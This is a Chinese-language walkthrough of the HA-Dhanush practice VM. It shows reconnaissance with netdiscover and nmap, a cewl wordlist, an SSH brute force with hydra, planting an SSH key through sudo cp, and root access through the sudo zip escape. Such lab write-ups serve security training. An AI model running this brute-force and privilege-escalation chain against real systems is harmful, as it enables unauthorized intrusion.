前言

图片

HackTheName:HA-Dhanush
The Dhanush once was the pinnacle of the weapons technology. It redefined the warfare to a new level and is mentioned in all the Mythological Accounts in the History. Choose Your Dhanush, Stretch the string and Shoot for Root!! ENUMERATION IS THE KEY!!!!!
难度:中等
目的:拿到 Root 权限
攻击机器KALI:192.168.136.138

信息搜集

在拿到靶机在VMware虚拟机运行后。我们得知道靶机的IP是多少,使用netdiscover命令来查看当前网络中存活主机:

1
netdiscover

图片

经过探测得知目标靶机的IP192.168.136.141。现在有了IP地址,那么还是老规矩,扫扫端口看看开放了那些服务器:

1
2
3
4
nmap -p- -A -O 192.168.136.141
-p-:是扫描从1-65535的所有端口
-A:探测操作系统版本
-O:探测所使用的操作系统

图片

从上图得知,它开放了80(http)、65345(SSH)端口,论扫描端口的重要性!它把SSH端口更改为65345了,所使用的操作系统是Ubuntu

1
2
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
65345/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

访问:http://192.168.136.141 发现Web网页中没得啥可以利用的地方,只有一段我看不懂的文字,好像是马拉地语?

图片

Google 翻译过来是:这种宗教不时从印度消失。 就职典礼 恶魔般的圣徒灭亡。 Sambhavami Yuga Yuga建立佛法。
好吧,我文盲!不懂说的是什么意思…

图片

老规矩,继续枚举一下目录结构看看有没有什么可以利用的文件:

1
2
dirb http://192.168.136.141/ 
python3 dirsearch.py -u http://192.168.136.141/ -e .txt

图片

吗的,没有啥可以利用的文件啊,这可咋整?别急!当我一筹莫展的时候,我回过头来看目标是开启了SSH服务,那么我们应该是要通过SSH枚举爆破来搞的,而经过刚刚的信息收集又得知了一些宗教文字和一些关键字。那么我们就可以通过那些关键字来生成一个爆破字典来对目标SSH进行枚举!

SSH枚举爆破

因为Web页面上给了我们一些关键字,那么我们可以通过cewl工具来爬行一下Web页面,来输出一些存在Web页面中的单词或者关键字:

1
2
cewl http://192.168.136.141/ -w dic.txt
-w dic.txt 是指把爬取到的单词关键字保存到当前目录下的dic.txt里

图片

有了字典以后,那就爆破吧,使用hydra九头蛇暴力又简单:

1
2
3
4
5
6
7
hydra -L dic.txt -P dic.txt -t 20 -F -s 65345 192.168.136.141 ssh
-L :指定用户名的字典
-P :指定密码的字典
-t :指定线程数
-F :一旦爆破成功就停止枚举,不然有好几百个得等好久
-s :指定 ssh 的端口号
ssh : 指定爆破的服务

图片

很幸运的爆破枚举成功,得到了用户名:pinak、密码:Gandiv、端口:65345。登陆 SSH:

1
2
3
ssh pinak@192.168.136.141 -p 65345
USER:pinak
PASS:Gandiv

图片

权限提升

回到 /home 目录发现有三个用户:dhanushpinaksarang

图片

来到 sarang 用户目录下,发现有一个 .ssh 目录,但是有一个问题,我们进不去 sarang 用户的 .ssh 目录,那咋办?其实我们就可以cp把我们的ssh密匙来放到 sarang.ssh 用户目录下(在下文中我们是有cp的root执行权限的)所以我们就可以通过ssh密匙来登陆它的账户!

图片

而来到 dhanush 用户目录下,却没有发现可以利用的地方:

图片

再来看看当前 pinak 用户有那些执行权限:

1
2
sudo -l :查看当前自己执行sudo的权限
(sarang) NOPASSWD: /bin/cp:我们不需要通过su密码就可以进行cp命令

图片

咳咳,该理理思路了,既然我们只有cproot权限,那么我们就可以通过pinak用户生成一个SSH私钥(id_rsa)和公钥(id_rsa.pub),我们只需要将ssh的密匙cpsarang用户的.ssh目录中,那么我们就可以ssh登陆到sarang用户!

生成SSH私钥和公钥

1
2
3
ssh-keygen
私钥和公钥保存到:/home/pinak/.ssh/ 目录下
密码为:liuwx

图片

创建一个名为 authorized_keys 的文件,并将 id_rsa.pub 的内容复制到其中。最后再将 authorized_keys 文件复制到 sarang 用户的 .ssh 文件夹里:

1
2
chmod 777 id_rsa.pub
cp id_rsa.pub /home/pinak

图片

现在将我们的 id_rsa.pub 公钥cpsarang.ssh文件夹下的authorized_keys文件里:

1
sudo -u sarang /bin/cp ./id_rsa.pub /home/sarang/.ssh/authorized_keys

图片

通过ssh公钥连接到sarang用户:

1
ssh sarang@127.0.0.1 -i /.ssh/id_rsa -p 65345

图片

这个时候就ssh进入到了 sarang 用户,我们再来看看他可以使用那些 root 权限命令:

1
sudo -l

图片

使用sudo和zip提权

我们可以发现 sarang 用户可以以 root 用户身份权限来运行 zip 命令,那么我们就可以通过 ZIP 来进行提权:

1
具体可以看这篇文章:https://www.freebuf.com/articles/system/206007.html

图片

1
2
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

图片

还有一种可以这样玩:先创建一个 liuwx 文件,然后在将它压缩为zip文件,最后使用unzip-command来执行bash命令从而提权:

1
2
touch liuwx
sudo zip /tmp/liuwx.zip /home/sarang/liuwx -T --unzip-command="sh -c /bin/bash"

图片

总结

我们先是通过Web页面来得到一些关键字单词,通过这些关键词单词生成字典来爆破SSH。然后枚举到了用户pinak进入到pinak用户,这个用户有cproot执行权限,而sarang用户目录下刚好有.ssh目录,我们通过生成ssh密钥来登陆到sarang用户。最后也是通过ZIP来进行提权拿到Root权限